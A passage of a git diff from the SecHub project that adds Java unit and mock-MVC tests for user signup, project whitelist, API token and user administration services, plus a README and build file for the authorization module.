ProjectUpdateWhitelistService serviceToTest; + private ProjectRepository repository; + private UserContextService userContext; + + @Rule + public ExpectedException expectedException = ExpectedException.none(); + + private Set whitelist; + private Project project; + private DomainMessageService eventBus; + + @Before + public void before() throws Exception { + serviceToTest = new ProjectUpdateWhitelistService(); + + repository = mock(ProjectRepository.class); + userContext = mock(UserContextService.class); + eventBus = mock(DomainMessageService.class); + + serviceToTest.repository=repository; + serviceToTest.userContext=userContext; + serviceToTest.eventBus=eventBus; + + + project = mock(Project.class); + whitelist=new LinkedHashSet<>(); + whitelist.add(new URI("127.0.0.1")); + when(project.getWhiteList()).thenReturn(whitelist); + } + + + @Test + public void project_not_found_throws_not_found_exception() { + /* test */ + expectedException.expect(NotFoundException.class); + + /* prepare*/ + when(repository.findById("projectId")).thenReturn(Optional.empty()); + + /* execute */ + serviceToTest.updateProjectWhitelist("projectId", null); + + } + + @Test + public void project_found__but_uris_empty_updates_with_empty_list() { + /* prepare*/ + when(repository.findById("projectId")).thenReturn(Optional.of(project)); + + /* execute */ + serviceToTest.updateProjectWhitelist("projectId", Collections.emptyList()); + + /* test */ + verify(repository).save(project); + assertEquals(0,whitelist.size()); + } + + @Test + public void project_found__and_2_uris_contained_updates_to_those_uris() throws Exception{ + /* prepare*/ + URI uri1 = new URI("http://www.example.org"); + URI uri2 = new URI("http://www.example.com"); + when(repository.findById("projectId")).thenReturn(Optional.of(project)); + List uris = Arrays.asList(uri1,uri2); + + /* execute */ + serviceToTest.updateProjectWhitelist("projectId", uris); + + /* test */ + verify(repository).save(project); + + assertEquals(2,whitelist.size()); + assertTrue(whitelist.contains(uri1)); + assertTrue(whitelist.contains(uri2)); + } + +} diff --git a/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/signup/AnonymousSignupRestControllerMockTest.java b/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/signup/AnonymousSignupRestControllerMockTest.java new file mode 100644 index 0000000000..436f103fe8 --- /dev/null +++ b/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/signup/AnonymousSignupRestControllerMockTest.java @@ -0,0 +1,162 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.signup; + +import static com.daimler.sechub.test.TestURLBuilder.*; +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; +import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.*; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.*; + +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.boot.test.autoconfigure.web.servlet.WebMvcTest; +import org.springframework.boot.test.context.TestConfiguration; +import org.springframework.boot.test.mock.mockito.MockBean; +import org.springframework.context.annotation.Profile; +import org.springframework.http.MediaType; +import org.springframework.security.test.context.support.WithMockUser; +import org.springframework.test.context.ActiveProfiles; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; +import org.springframework.test.web.servlet.MockMvc; + +import com.daimler.sechub.sharedkernel.Profiles; +import com.daimler.sechub.sharedkernel.configuration.AbstractAllowSecHubAPISecurityConfiguration; +import com.daimler.sechub.sharedkernel.validation.ApiVersionValidationImpl; +import com.daimler.sechub.sharedkernel.validation.UserIdValidationImpl; +import com.daimler.sechub.test.TestPortProvider; + +@RunWith(SpringRunner.class) +@WebMvcTest(AnonymousSignupRestController.class) +@ContextConfiguration(classes = { AnonymousSignupRestController.class, SignupJsonInputValidator.class, UserIdValidationImpl.class, + ApiVersionValidationImpl.class, AnonymousSignupRestControllerMockTest.SimpleTestConfiguration.class }) +@WithMockUser +@ActiveProfiles(Profiles.TEST) +public class AnonymousSignupRestControllerMockTest { + + private static final int PORT_USED = TestPortProvider.DEFAULT_INSTANCE.getWebMVCTestHTTPSPort(); + + @Autowired + private MockMvc mockMvc; + + @MockBean + private AnonymousSignupCreateService mockedSignupCreateService; + + @Test + public void calling_with_api_1_0_and_valid_userid_and_email_calls_signup_create_service_and_returns_HTTP_200() throws Exception { + /* prepare */ + + /* execute */ + /* @formatter:off */ + this.mockMvc.perform( + post(https(PORT_USED).buildUserSignUpUrl()). + contentType(MediaType.APPLICATION_JSON_UTF8_VALUE). + content("{\"apiVersion\":\"1.0\",\"userId\":\"valid_userid\",\"emailAdress\":\"valid_mailadress@test.com\"}") + )./*andDo(print()).*/ + andExpect(status().isOk() + ); + + /* @formatter:on */ + verify(mockedSignupCreateService).register(any()); + } + + @Test + public void calling_with_api_X_0_and_valid_userid_and_email_returns_HTTP_400_BAD_REQUEST() throws Exception { + /* prepare */ + + /* execute + test @formatter:off */ + this.mockMvc.perform( + post(https(PORT_USED).buildUserSignUpUrl()). + contentType(MediaType.APPLICATION_JSON_UTF8_VALUE). + content("{\"apiVersion\":\"X.0\",\"userId\":\"\",\"emailAdress\":\"test@test.com\"}") + )./*andDo(print()).*/ + andExpect(status().isBadRequest() + ); + + /* @formatter:on */ + } + + @Test + public void calling_empty_returns_HTTP_400_BAD_REQUEST() throws Exception { + /* prepare */ + + /* execute + test @formatter:off */ + this.mockMvc.perform( + post(https(PORT_USED).buildUserSignUpUrl()). + contentType(MediaType.APPLICATION_JSON_UTF8_VALUE). + content("") + )./*andDo(print()).*/ + andExpect(status().isBadRequest() + ); + /* @formatter:on */ + } + + @Test + public void calling_invalid_json_returns_HTTP_400_BAD_REQUEST() throws Exception { + /* prepare */ + + /* execute + test @formatter:off */ + this.mockMvc.perform( + post(https(PORT_USED).buildUserSignUpUrl()). + contentType(MediaType.APPLICATION_JSON_UTF8_VALUE). + content("{") + )./*andDo(print()).*/ + andExpect(status().isBadRequest() + ); + /* @formatter:on */ + } + + @Test + public void calling_with_api_1_0_and_userid_not_set_but_valid_email_returns_HTTP_400_BAD_REQUEST() throws Exception { + /* prepare */ + + /* execute + test @formatter:off */ + this.mockMvc.perform( + post(https(PORT_USED).buildUserSignUpUrl()). + contentType(MediaType.APPLICATION_JSON_UTF8_VALUE). + content(createUserSelfRegistration("X.0", "test@test.com", null).toJSON()) + )./*andDo(print()).*/ + andExpect(status().isBadRequest() + ); + + /* @formatter:on */ + } + + /* + * FIXME Albert Tregnaghi, 2018-07-04: write a test case to ensure the content + * (emailadress etc) is really injected ! + */ + @Test + public void calling_with_api_1_0_and_userid_set_but_NO_valid_email_returns_HTTP_400_BAD_REQUEST() throws Exception { + /* prepare */ + + /* execute + test @formatter:off */ + this.mockMvc.perform( + post(https(PORT_USED).buildUserSignUpUrl()). + contentType(MediaType.APPLICATION_JSON_UTF8_VALUE). + content("{\"apiVersion\":\"1.0\",\"userId\":\"the tester\"}") + )./*andDo(print()).*/ + andExpect(status().isBadRequest() + ); + + /* @formatter:on */ + } + + @TestConfiguration + @Profile(Profiles.TEST) + @EnableAutoConfiguration + public static class SimpleTestConfiguration extends AbstractAllowSecHubAPISecurityConfiguration { + + } + + private SignupJsonInput createUserSelfRegistration(String api, String email, String name) { + + SignupJsonInput created = new SignupJsonInput(); + created.setApiVersion(api); + created.setEmailAdress(email); + created.setUserId(name); + return created; + } +} diff --git a/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/signup/SignupAdministrationRestControllerMockTest.java b/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/signup/SignupAdministrationRestControllerMockTest.java new file mode 100644 index 0000000000..7efcd38b7f --- /dev/null +++ b/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/signup/SignupAdministrationRestControllerMockTest.java @@ -0,0 +1,107 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.signup; + + +import static com.daimler.sechub.test.TestURLBuilder.*; +import static org.hamcrest.CoreMatchers.*; +import static org.mockito.Mockito.*; +import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.*; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.*; + +import java.util.ArrayList; +import java.util.List; + +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.boot.test.autoconfigure.web.servlet.WebMvcTest; +import org.springframework.boot.test.context.TestConfiguration; +import org.springframework.boot.test.mock.mockito.MockBean; +import org.springframework.context.annotation.Profile; +import org.springframework.security.test.context.support.WithMockUser; +import org.springframework.test.context.ActiveProfiles; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; +import org.springframework.test.web.servlet.MockMvc; + +import com.daimler.sechub.sharedkernel.Profiles; +import com.daimler.sechub.sharedkernel.RoleConstants; +import com.daimler.sechub.sharedkernel.configuration.AbstractAllowSecHubAPISecurityConfiguration; +import com.daimler.sechub.test.TestPortProvider; + +@RunWith(SpringRunner.class) +@WebMvcTest(SignupAdministrationRestController.class) +@ContextConfiguration(classes= {SignupAdministrationRestController.class, SignupAdministrationRestControllerMockTest.SimpleTestConfiguration.class}) +@WithMockUser(authorities = RoleConstants.ROLE_SUPERADMIN) +@ActiveProfiles(Profiles.TEST) +public class SignupAdministrationRestControllerMockTest { + + private static final int PORT_USED = TestPortProvider.DEFAULT_INSTANCE.getWebMVCTestHTTPSPort(); + + @Autowired + private MockMvc mockMvc; + + @MockBean + private SignupDeleteService mockedSignupDeleteService; + + @MockBean + private SignupRepository mockedSelfRegistrationRepo; + + @Test + public void listUserSignups_results_in_empty_text_when_no_signups_exist() throws Exception{ + /* prepare */ + List list = new ArrayList<>(); + + when(mockedSelfRegistrationRepo.findAll()).thenReturn(list); + /* execute + test @formatter:off */ + this.mockMvc.perform( + get(https(PORT_USED).buildAdminListsUserSignupsUrl()) + )./*andDo(print()).*/ + andExpect(status().isOk()). + andExpect(content().json("[]") + ); + + /* @formatter:on */ + } + + @Test + public void listUserSignups_results_in_a_filled_list_when_2_signups_exist() throws Exception{ + /* prepare */ + List list = new ArrayList<>(); + Signup signup1 = new Signup(); + signup1.setEmailAdress("sechub.test1@example.org"); + signup1.setUserId("sechub.test1"); + + Signup signup2 = new Signup(); + signup2.setEmailAdress("sechub.test2@example.org"); + signup2.setUserId("sechub.test2"); + + list.add(signup1); + list.add(signup2); + + when(mockedSelfRegistrationRepo.findAll()).thenReturn(list); + /* execute + test @formatter:off */ + this.mockMvc.perform( + get(https(PORT_USED).buildAdminListsUserSignupsUrl()) + )./*andDo(print()).*/ + andExpect(status().isOk()). + andExpect(jsonPath("$.[0].userId", equalTo("sechub.test1"))). + andExpect(jsonPath("$.[0].emailAdress", equalTo("sechub.test1@example.org"))). + + andExpect(jsonPath("$.[1].userId", equalTo("sechub.test2"))). + andExpect(jsonPath("$.[1].emailAdress", equalTo("sechub.test2@example.org")) + + ); + + /* @formatter:on */ + } + + @TestConfiguration + @Profile(Profiles.TEST) + @EnableAutoConfiguration + public static class SimpleTestConfiguration extends AbstractAllowSecHubAPISecurityConfiguration{ + + } + +} \ No newline at end of file diff --git a/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/signup/SignupCreateServiceTest.java b/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/signup/SignupCreateServiceTest.java new file mode 100644 index 0000000000..1c1d0ee55e --- /dev/null +++ b/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/signup/SignupCreateServiceTest.java @@ -0,0 +1,55 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.signup; + +import static org.junit.Assert.*; +import static org.mockito.Mockito.*; + +import org.junit.Before; +import org.junit.Test; +import org.mockito.ArgumentCaptor; + +import com.daimler.sechub.domain.administration.user.UserRepository; +import com.daimler.sechub.sharedkernel.messaging.DomainMessage; +import com.daimler.sechub.sharedkernel.messaging.DomainMessageService; +import com.daimler.sechub.sharedkernel.messaging.MessageDataKeys; +import com.daimler.sechub.sharedkernel.messaging.UserMessage; + +public class SignupCreateServiceTest { + + private AnonymousSignupCreateService serviceToTest; + private DomainMessageService mockedEventBusService; + + @Before + public void before() { + mockedEventBusService = mock(DomainMessageService.class); + + serviceToTest = new AnonymousSignupCreateService(); + serviceToTest.eventBusService =mockedEventBusService; + serviceToTest.userRepository = mock(UserRepository.class); + serviceToTest.userSelfRegistrationRepository = mock(SignupRepository.class); + } + + @Test + public void a_created_signup_sends_event_containing_userid_and_email() { + /* prepare */ + SignupJsonInput userSelfRegistrationInput = mock(SignupJsonInput.class); + when(userSelfRegistrationInput.getUserId()).thenReturn("schlaubi"); + when(userSelfRegistrationInput.getEmailAdress()).thenReturn("schlaubi@schlumpfhausen.de"); + + /* execute */ + serviceToTest.register(userSelfRegistrationInput); + + /* test */ + ArgumentCaptor domainMessageCaptor = ArgumentCaptor.forClass(DomainMessage.class); + verify(mockedEventBusService).sendAsynchron(domainMessageCaptor.capture()); + + DomainMessage messageSendByService = domainMessageCaptor.getValue(); + assertNotNull("no message send!", messageSendByService); + UserMessage signupDataInMessage = messageSendByService.get(MessageDataKeys.USER_SIGNUP_DATA); + assertNotNull("no signup data inside message!", signupDataInMessage); + // check event contains expected data + assertEquals("schlaubi", signupDataInMessage.getUserId()); + assertEquals("schlaubi@schlumpfhausen.de", signupDataInMessage.getEmailAdress()); + } + +} diff --git a/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/signup/SignupJsonInputTestMain.java b/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/signup/SignupJsonInputTestMain.java new file mode 100644 index 0000000000..11a11b7e7a --- /dev/null +++ b/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/signup/SignupJsonInputTestMain.java @@ -0,0 +1,15 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.signup; + +import com.daimler.sechub.sharedkernel.util.JSONConverterException; + +public class SignupJsonInputTestMain { + + public static void main(String[] args) throws JSONConverterException { + SignupJsonInput input = new SignupJsonInput(); + input.setEmailAdress("albert.tregnaghi@example.org"); + input.setUserId("Albert Tregnaghi"); + input.setApiVersion("1.0"); + System.out.println(input.toJSON()); + } +} diff --git a/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/user/AnonymousUserRequestsNewApiTokenServiceTest.java b/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/user/AnonymousUserRequestsNewApiTokenServiceTest.java new file mode 100644 index 0000000000..b0ca2145db --- /dev/null +++ b/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/user/AnonymousUserRequestsNewApiTokenServiceTest.java @@ -0,0 +1,103 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.user; + +import static org.junit.Assert.*; +import static org.mockito.Mockito.*; + +import java.util.Optional; + +import org.junit.Before; +import org.junit.Test; +import org.mockito.ArgumentCaptor; + +import com.daimler.sechub.domain.administration.AdministrationEnvironment; +import com.daimler.sechub.domain.administration.OneTimeTokenGenerator; +import com.daimler.sechub.sharedkernel.messaging.DomainMessage; +import com.daimler.sechub.sharedkernel.messaging.DomainMessageService; +import com.daimler.sechub.sharedkernel.messaging.MessageDataKeys; +import com.daimler.sechub.sharedkernel.messaging.UserMessage; + +public class AnonymousUserRequestsNewApiTokenServiceTest { + + private static final String FAKE_ONE_TIME_TOKEN = "T1234567890"; + private AnonymousUserRequestsNewApiTokenService serviceToTest; + private OneTimeTokenGenerator mockedOneTimeTokenGenerator; + private AdministrationEnvironment mockedEnvironment; + private DomainMessageService mockedEventBusService; + private UserRepository mockedUserRepository; + + @Before + public void before() { + mockedOneTimeTokenGenerator = mock(OneTimeTokenGenerator.class); + mockedEnvironment = mock(AdministrationEnvironment.class); + mockedEventBusService = mock(DomainMessageService.class); + mockedUserRepository = mock(UserRepository.class); + when(mockedOneTimeTokenGenerator.generateNewOneTimeToken()).thenReturn(FAKE_ONE_TIME_TOKEN); + + serviceToTest = new AnonymousUserRequestsNewApiTokenService(); + serviceToTest.oneTimeTokenGenerator = mockedOneTimeTokenGenerator; + serviceToTest.environment = mockedEnvironment; + serviceToTest.eventBusService = mockedEventBusService; + serviceToTest.userRepository=mockedUserRepository; + } + + @Test + public void when_emailadress_not_found_no_exception_is_thrown() throws Exception { + + /* prepare*/ + when(mockedUserRepository.findByEmailAdress("user@test.com")).thenReturn(Optional.empty()); + + /* execute */ + serviceToTest.anonymousRequestToGetNewApiTokenForUserMailAdress("user@test.com"); + + } + + + @Test + public void when_emailadress_found_a_new_async_event_is_sent_eventbus() throws Exception { + + User user = new User(); + user.emailAdress="user@test.com"; + user.name="testuser"; + + /* prepare*/ + when(mockedUserRepository.findByEmailAdress("user@test.com")).thenReturn(Optional.of(user)); + + /* execute */ + serviceToTest.anonymousRequestToGetNewApiTokenForUserMailAdress("user@test.com"); + + /* test */ + ArgumentCaptor domainMessageCaptor = ArgumentCaptor.forClass(DomainMessage.class); + verify(mockedEventBusService).sendAsynchron(domainMessageCaptor.capture()); + + DomainMessage messageSendByService = domainMessageCaptor.getValue(); + assertNotNull("no message send!", messageSendByService); + UserMessage refreshApiKeyMessage = messageSendByService.get(MessageDataKeys.USER_ONE_TIME_TOKEN_INFO); + assertNotNull("no refersh api key data inside message!", refreshApiKeyMessage); + // check event contains expected data + assertNull(refreshApiKeyMessage.getUserId()); // user id not inside + assertEquals("user@test.com", refreshApiKeyMessage.getEmailAdress()); + + } + + @Test + public void when_emailadress_found__onetimetoken_created_and_persisted() throws Exception { + + User user = new User(); + user.emailAdress="user@test.com"; + user.name="testuser"; + + /* prepare*/ + when(mockedUserRepository.findByEmailAdress("user@test.com")).thenReturn(Optional.of(user)); + + /* execute */ + serviceToTest.anonymousRequestToGetNewApiTokenForUserMailAdress("user@test.com"); + + /* test */ + assertEquals(FAKE_ONE_TIME_TOKEN,user.oneTimeToken); + assertNotNull(user.oneTimeTokenDate); + + verify(mockedUserRepository).save(user); + } + +} diff --git a/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/user/UserAdministrationRestControllerMockTest.java b/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/user/UserAdministrationRestControllerMockTest.java new file mode 100644 index 0000000000..d0097c67f7 --- /dev/null +++ b/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/user/UserAdministrationRestControllerMockTest.java @@ -0,0 +1,165 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.user; + + +import static com.daimler.sechub.test.TestURLBuilder.*; +import static org.hamcrest.CoreMatchers.*; +import static org.mockito.Mockito.*; +import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.*; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.*; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.LinkedHashSet; +import java.util.List; +import java.util.Optional; +import java.util.Set; + +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.boot.test.autoconfigure.web.servlet.WebMvcTest; +import org.springframework.boot.test.context.TestConfiguration; +import org.springframework.boot.test.mock.mockito.MockBean; +import org.springframework.context.annotation.Profile; +import org.springframework.security.test.context.support.WithMockUser; +import org.springframework.test.context.ActiveProfiles; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; +import org.springframework.test.web.servlet.MockMvc; + +import com.daimler.sechub.domain.administration.project.Project; +import com.daimler.sechub.domain.administration.signup.AnonymousSignupCreateService; +import com.daimler.sechub.domain.administration.signup.Signup; +import com.daimler.sechub.domain.administration.signup.SignupRepository; +import com.daimler.sechub.sharedkernel.Profiles; +import com.daimler.sechub.sharedkernel.RoleConstants; +import com.daimler.sechub.sharedkernel.configuration.AbstractAllowSecHubAPISecurityConfiguration; +import com.daimler.sechub.test.TestPortProvider; + +@RunWith(SpringRunner.class) +@WebMvcTest(UserAdministrationRestController.class) +@ContextConfiguration(classes= {UserAdministrationRestController.class, UserAdministrationRestControllerMockTest.SimpleTestConfiguration.class}) +@WithMockUser(authorities=RoleConstants.ROLE_SUPERADMIN) +@ActiveProfiles(Profiles.TEST) +public class UserAdministrationRestControllerMockTest { + + private static final int PORT_USED = TestPortProvider.DEFAULT_INSTANCE.getWebMVCTestHTTPSPort(); + + @Autowired + private MockMvc mockMvc; + + @MockBean + private AnonymousSignupCreateService mockedSignupCreateService; + + @MockBean + private SignupRepository mockedSelfRegistrationRepo; + + @MockBean + UserCreationService mockedUserCreationService; + + @MockBean + UserDeleteService mockedUserDeleteService; + + @MockBean + UserDetailInformationService mockedUserDetailInformationService; + + @MockBean + private UserGrantSuperAdminRightsService userGrantSuperAdminRightsService; + + @MockBean + private UserRevokeSuperAdminRightsService userRevokeSuperAdminRightsService; + + @MockBean + UserListService mockedUserListService; + + @Test + public void delete_user_calls_delte_service() throws Exception{ + /* execute + test @formatter:off */ + this.mockMvc.perform( + delete(https(PORT_USED).buildAdminDeletesUserUrl("user1")) + )./*andDo(print()).*/ + andExpect(status().isOk() + ); + + /* @formatter:on */ + verify(mockedUserDeleteService).deleteUser("user1"); + } + + @Test + public void show_user_details_returns_result_of_detail_service() throws Exception{ + User user = mock(User.class); + when(user.getName()).thenReturn("user1"); + when(user.getEmailAdress()).thenReturn("user1@example.org"); + Set projects = new LinkedHashSet<>(); + + Project project1 = mock(Project.class); + when(project1.getId()).thenReturn("project1"); + projects.add(project1); + when(user.getProjects()).thenReturn(projects); + UserDetailInformation info = new UserDetailInformation(user); + + when(mockedUserDetailInformationService.fetchDetails("user1")).thenReturn(info); + + /* execute + test @formatter:off */ + this.mockMvc.perform( + get(https(PORT_USED).buildAdminShowsUserDetailsUrl("user1")) + )./*andDo(print()).*/ + andExpect(status().isOk()). + andExpect(jsonPath("$.userId", equalTo("user1"))). + andExpect(jsonPath("$.email", equalTo("user1@example.org"))). + andExpect(jsonPath("$.projects", equalTo(Arrays.asList("project1"))) + ); + + /* @formatter:on */ + } + + @Test + public void listUsers_results_in_a_filled_string_list_when_2_users_exist() throws Exception{ + /* prepare */ + List list = new ArrayList<>(); + + list.add("name1"); + list.add("name2"); + + when(mockedUserListService.listUsers()).thenReturn(list); + /* execute + test @formatter:off */ + this.mockMvc.perform( + get(https(PORT_USED).buildAdminListsUsersUrl()) + )./*andDo(print()).*/ + andExpect(jsonPath("$.[0]", equalTo("name1"))). + andExpect(jsonPath("$.[1]", equalTo("name2"))). + andExpect(status().isOk() + ); + + /* @formatter:on */ + } + + @Test + public void calling_with_api_1_0_and_valid_userid_and_email_returns_HTTP_200() + throws Exception { + Signup selfReg = new Signup(); + selfReg.setUserId("user1"); + Optional selfRegistration = Optional.ofNullable(selfReg); + /* prepare */ + when(mockedSelfRegistrationRepo.findById("user1")).thenReturn(selfRegistration); + + /* execute + test @formatter:off */ + this.mockMvc.perform( + post(https(PORT_USED).buildAdminAcceptsUserSignUpUrl("user1")) + )./*andDo(print()).*/ + andExpect(status().isCreated() + ); + + /* @formatter:on */ + } + + @TestConfiguration + @Profile(Profiles.TEST) + @EnableAutoConfiguration + public static class SimpleTestConfiguration extends AbstractAllowSecHubAPISecurityConfiguration{ + + } + +} diff --git a/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/user/UserDeleteServiceTest.java b/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/user/UserDeleteServiceTest.java new file mode 100644 index 0000000000..cc304b2d55 --- /dev/null +++ b/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/user/UserDeleteServiceTest.java @@ -0,0 +1,80 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.user; + +import static org.mockito.Mockito.*; + +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.ExpectedException; + +import com.daimler.sechub.sharedkernel.UserContextService; +import com.daimler.sechub.sharedkernel.error.NotAcceptableException; +import com.daimler.sechub.sharedkernel.logging.AuditLogService; +import com.daimler.sechub.sharedkernel.messaging.DomainMessageService; + +public class UserDeleteServiceTest { + + private static final String OTHER_USER = "otheruser"; + private static final String ADMIN_HIMSELF = "iammyself"; + private UserDeleteService serviceToTest; + private UserContextService userContext; + private DomainMessageService eventBusService; + private UserRepository userRepository; + + @Rule + public ExpectedException expected = ExpectedException.none(); + private AuditLogService auditLogService; + + + @Before + public void before() throws Exception { + eventBusService = mock(DomainMessageService.class); + userContext = mock(UserContextService.class); + userRepository=mock(UserRepository.class); + auditLogService=mock(AuditLogService.class); + + serviceToTest= new UserDeleteService(); + serviceToTest.eventBusService=eventBusService; + serviceToTest.userContext=userContext; + serviceToTest.userRepository=userRepository; + serviceToTest.auditLogService=auditLogService; + } + + + @Test + public void it_its_not_allowed_to_delete_yourself() { + /* test */ + expected.expect(NotAcceptableException.class); + + /* prepare */ + when(userContext.getUserId()).thenReturn(ADMIN_HIMSELF); + when(userRepository.findOrFailUser(ADMIN_HIMSELF)).thenReturn(null); // it does not matter - check is done before! + + /* execute */ + serviceToTest.deleteUser(ADMIN_HIMSELF); + + + } + + @Test + public void it_is_allowed_to_delete_another_user() { + + /* prepare */ + User otherUser = new User(); + otherUser.name=OTHER_USER; + + when(userContext.getUserId()).thenReturn(ADMIN_HIMSELF); + when(userRepository.findOrFailUser(OTHER_USER)).thenReturn(otherUser); // other user found + + + /* execute */ + serviceToTest.deleteUser(OTHER_USER); + + /* test */ + // just no exception + + } + + +} diff --git a/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/user/UserRevokeSuperAdminRightsServiceTest.java b/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/user/UserRevokeSuperAdminRightsServiceTest.java new file mode 100644 index 0000000000..e196a04976 --- /dev/null +++ b/sechub-administration/src/test/java/com/daimler/sechub/domain/administration/user/UserRevokeSuperAdminRightsServiceTest.java @@ -0,0 +1,83 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.user; + +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; + +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.ExpectedException; +import org.springframework.data.domain.Example; + +import com.daimler.sechub.domain.administration.AdministrationEnvironment; +import com.daimler.sechub.sharedkernel.error.NotAcceptableException; +import com.daimler.sechub.sharedkernel.logging.AuditLogService; +import com.daimler.sechub.sharedkernel.messaging.DomainMessageService; + +public class UserRevokeSuperAdminRightsServiceTest { + + private UserRevokeSuperAdminRightsService serviceToTest; + + private AdministrationEnvironment environment; + private AuditLogService auditLogService; + private DomainMessageService eventBusService; + private UserRepository userRepository; + + private String ADMIN_USER; + + @Rule + public ExpectedException expected = ExpectedException.none(); + + @Before + public void before() throws Exception { + environment = mock(AdministrationEnvironment.class); + auditLogService = mock(AuditLogService.class); + eventBusService = mock(DomainMessageService.class); + userRepository = mock(UserRepository.class); + + User superUser = new User(); + superUser.superAdmin = true; + superUser.deactivated = false; + superUser.name = ADMIN_USER; + + when(userRepository.findOrFailUser(eq(ADMIN_USER))).thenReturn(superUser); + + serviceToTest = new UserRevokeSuperAdminRightsService(); + serviceToTest.administrationEnvironment = environment; + serviceToTest.auditLogService = auditLogService; + serviceToTest.eventBusService = eventBusService; + serviceToTest.userRepository = userRepository; + + } + + @Test + public void when_last_admin_user_rights_cannot_be_revoked() { + /* prepare */ + User exampleUser = new User(); + exampleUser.superAdmin = true; + when(userRepository.count(eq(Example.of(exampleUser)))).thenReturn(1L); // query counts super admins now with 1 + + /* test */ + expected.expect(NotAcceptableException.class); + + /* execute */ + serviceToTest.revokeSuperAdminRightsFrom(ADMIN_USER); + } + + @Test + public void when_not_last_admin_user_rights_can_be_revoked() { + /* prepare */ + User capture = new User(); + capture.superAdmin = true; + when(userRepository.count(eq(Example.of(capture)))).thenReturn(2L); // query counts super admins now with 2, so can revoke + + + /* execute */ + serviceToTest.revokeSuperAdminRightsFrom(ADMIN_USER); + + /* test */ + // just no exception + } + +} diff --git a/sechub-authorization/README.md b/sechub-authorization/README.md new file mode 100644 index 0000000000..77db038a16 --- /dev/null +++ b/sechub-authorization/README.md @@ -0,0 +1,15 @@ + +# About the sechub-authorization project + +Here only spring security is done and roles (user, admin) +is handled. + +Resource security is done inside the domains itself. + +So e.g. sechub-schedule will provide access only to users +having role "ROLE_USER" but also only for those which +can access the project... + +On the other hand will sechub-authorization handle the +spring security roles here inside. + diff --git a/sechub-authorization/build.gradle b/sechub-authorization/build.gradle new file mode 100644 index 0000000000..772a73bd1f --- /dev/null +++ b/sechub-authorization/build.gradle @@ -0,0 +1,13 @@ +// SPDX-License-Identifier: MIT + /*============================================================================ + * Build file for subproject + * + * Root build file: "${rootProject.projectDir}/build.gradle" + * ============================================================================ + */ +dependencies { + + compile project(':sechub-shared-kernel') + testCompile project(':sechub-testframework') + +} diff --git a/sechub-authorization/src/main/java/com/daimler/sechub/domain/authorization/AuthMessageHandler.java b/sechub-authorization/src/main/java/com/daimler/sechub/domain/authorization/AuthMessageHandler.java new file mode 100644 index 0000000000..3ed9953fa1 --- /dev/null +++ b/sechub-authorization/src/main/java/com/daimler/sechub/domain/authorization/AuthMessageHandler.java @@ -0,0 +1,94 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.authorization; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Component; + +import com.daimler.sechub.domain.authorization.service.AuthUpdateUserApiTokenService; +import com.daimler.sechub.domain.authorization.service.AuthUserCreationService; +import com.daimler.sechub.domain.authorization.service.AuthUserDeleteService; +import com.daimler.sechub.domain.authorization.service.AuthUserUpdateRolesService; +import com.daimler.sechub.sharedkernel.messaging.AsynchronMessageHandler; +import com.daimler.sechub.sharedkernel.messaging.DomainMessage; +import com.daimler.sechub.sharedkernel.messaging.IsReceivingAsyncMessage; +import com.daimler.sechub.sharedkernel.messaging.MessageDataKeys; +import com.daimler.sechub.sharedkernel.messaging.MessageID; +import com.daimler.sechub.sharedkernel.messaging.UserMessage; + +/** + 